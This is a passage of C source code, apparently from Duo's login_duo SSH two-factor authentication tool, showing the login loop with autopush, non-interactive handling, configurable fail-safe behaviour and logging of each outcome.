                    cfg.noverify ? "" : cfg.cafile)) == NULL) {
        duo_log(LOG_ERR, "Couldn't open Duo API handle",
            pw->pw_name, host, NULL);
        return (EXIT_FAILURE);
    }

    /* Special handling for non-interactive sessions */
    if ((p = getenv("SSH_ORIGINAL_COMMAND")) != NULL ||
        !isatty(STDIN_FILENO)) {
        /* Try to support automatic one-shot login */
        duo_set_conv_funcs(duo, NULL, NULL, NULL);
        flags = (DUO_FLAG_SYNC|DUO_FLAG_AUTO);
        prompts = 1;
        headless = 1;
    } else if (cfg.autopush) { /* Special handling for autopush */
        duo_set_conv_funcs(duo, NULL, __autopush_status_fn, 
                NULL);
        flags = (DUO_FLAG_SYNC|DUO_FLAG_AUTO);
    }

    if (cfg.accept_env) {
        flags |= DUO_FLAG_ENV;
    }

    ret = EXIT_FAILURE;
    
    for (i = 0; i < prompts; i++) {
        code = duo_login(duo, duouser, host, flags,
                    cfg.pushinfo ? cmd : NULL);
        if (code == DUO_FAIL) {
            duo_log(LOG_WARNING, "Failed Duo login",
                duouser, host, duo_geterr(duo));
            if ((flags & DUO_FLAG_SYNC) == 0) {
                printf("\n");
            }
            /* The autopush failed, fall back to regular process */
            if (cfg.autopush && i == 0) {
                flags = 0;
                duo_reset_conv_funcs(duo);
            }
            /* Keep going */
            continue;
        }
        /* Terminal conditions */
        if (code == DUO_OK) {
            if ((p = duo_geterr(duo)) != NULL) {
                duo_log(LOG_WARNING, "Skipped Duo login",
                    duouser, host, p);
            } else {
                duo_log(LOG_INFO, "Successful Duo login",
                    duouser, host, NULL);
            }
            if (cfg.motd && !headless) {
                _print_motd();
            }
            ret = EXIT_SUCCESS;
        } else if (code == DUO_ABORT) {
            duo_log(LOG_WARNING, "Aborted Duo login",
                duouser, host, duo_geterr(duo));
        } else if (cfg.failmode == DUO_FAIL_SAFE &&
                    (code == DUO_CONN_ERROR ||
                     code == DUO_CLIENT_ERROR || code == DUO_SERVER_ERROR)) {
            duo_log(LOG_WARNING, "Failsafe Duo login",
                duouser, host, duo_geterr(duo));
                        ret = EXIT_SUCCESS;
        } else {
            duo_log(LOG_ERR, "Error in Duo login",
                duouser, host, duo_geterr(duo));
        }
        break;
    }
    duo_close(duo);

    return (ret);
}